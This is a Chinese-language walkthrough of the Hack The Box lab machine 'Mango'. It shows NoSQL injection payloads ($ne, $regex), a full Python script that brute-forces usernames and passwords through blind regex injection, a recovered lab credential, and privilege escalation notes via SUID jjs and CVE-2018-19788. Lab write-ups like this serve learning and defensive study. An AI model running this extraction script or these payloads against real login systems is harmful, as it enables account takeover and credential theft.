HTB-Mango

在这里插入图片描述

信息收集

在这里插入图片描述

80端口

在这里插入图片描述

443端口

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
/index.php/login暂时无法打开,首页搜索功能也无法正常使用。dirmap扫描出来的analytics.php内容也只是一些数据。
在这里插入图片描述
对443端口的证书进行检查,能发现一个新的子域名:staging-order.mango.htb

在这里插入图片描述

staging-order.mango.htb

看着真不错。
在这里插入图片描述
尝试了几组登陆的账号密码均以失败告终,但是每次只要是失败就会重新加载一次网站,所以如果是正确的话估计会重定向到其他网站。于是乎,现在有两条路。一条是sql注入测试,一条是选择对常用的账号密码进行爆破测试,很明显第二条路的成功率不怎么高。

在这里插入图片描述
先对其进行简单的sql注入测试,发现暂时没有任何反应。于是乎,又出现了两条路。一条是更加深入的进行sql注入测试。一条是NoSql。经过测试第一条路(更加深入的sql注入测试)暂时失败。所以走第二条路NoSql injection。
在这里插入图片描述
在这里插入图片描述
使用username[$ne]=aster&password[$ne]=aster&login=login,得到302重定向反馈。

在这里插入图片描述
跟随重定向发现重定向到了/home.php。

在这里插入图片描述
主页内容如下,正在建设中……。

在这里插入图片描述
除了疑似存在一个admin用户,就没有其它信息了。再看看NoSql数据库呢。在这里插入图片描述

Yet these databases are still potentially vulnerable to injection attacks, even if they aren’t using the traditional SQL syntax.

那试试注入。

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
    print("Extracting password of "+username)
    params = {"username":username, "password[$regex]":"", "login": "login"}
    password = "^"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
            if int(pr.status_code) == 302:
                password += c
                break
        if c == possible_chars[-1]:
            print("Found password "+password[1:].replace("\\", "")+" for username "+username)
            return password[1:].replace("\\", "")

def get_usernames():
    usernames = []
    params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
    for c in possible_chars:
        username = "^" + c
        params["username[$regex]"] = username + ".*"
        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
        if int(pr.status_code) == 302:
            print("Found username starting with "+c)
            while True:
                for c2 in possible_chars:
                    params["username[$regex]"] = username + c2 + ".*"
                    if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
                        username += c2
                        print(username)
                        break

                if c2 == possible_chars[-1]:
                    print("Found username: "+username[1:])
                    usernames.append(username[1:])
                    break
    return usernames


for u in get_usernames():
    get_password(u)

在这里插入图片描述

立足

使用mango:h3mXK8RhU~f{]f5H通过ssh登录。
在这里插入图片描述

mango -> admin

通过已有的凭证登录sudo。
在这里插入图片描述

admin -> root

兔子洞之旅

在这里插入图片描述
这个uid大的吓人,很显然这uid有一定的突破口。
在这里插入图片描述
在 /etc/login.defs文件中发现UID_MAX是60000。login.defs文件时在创建用户时候对其用户的基本属性做默认设置并且给予一定约束。
在这里插入图片描述
经过搜索可得CVE-2018-19788。

在这里插入图片描述
利用条件是 UID > INT_MAX,查看INT_MAX具体值是多少getconf INT_MAX
在这里插入图片描述
万事俱备,只欠如何利用systemctl提权,我能想到的有利用systemctl链接服务。
在这里插入图片描述
尝试了各种办法都是如此,怕不是掉兔子洞里了。

在这里插入图片描述
不知道是不是版本不对。
在这里插入图片描述

跳出兔子洞

在一堆SUID程序里看到一个jjs,当然那个/tmp/sh多半是其他选手留下的,所以默认无视。
在这里插入图片描述

在这里插入图片描述
这在macOS中成功,但是在Linux系统中失败。那我们不弄这么复杂的命令,先删除掉一部分来试试能不能再jjs中实现这些命令操作。
在这里插入图片描述
看来可以。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

补充

那么上面那个获取用户名和密码的脚本是怎么实现的呢,目标的名字mango变一下就是mongo。
在这里插入图片描述
mongo就是文档数据库。
在这里插入图片描述
它的存储方式很像JSON,官网的404界面也突出了文档数据库的存储特点。
在这里插入图片描述
接下来看看MongoDB的一些语法操作,首先是MongoDB如何进行查询操作。
在这里插入图片描述

在这里插入图片描述
并且支持正则表达式。

在这里插入图片描述
最后,可以在第二条看到利用正则表达式来进行判断是否为指定字段,^会匹配以^后开头的字符串,比如^ab会匹配到abc、abd。

在这里插入图片描述
通过一个简单的脚本来测试。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值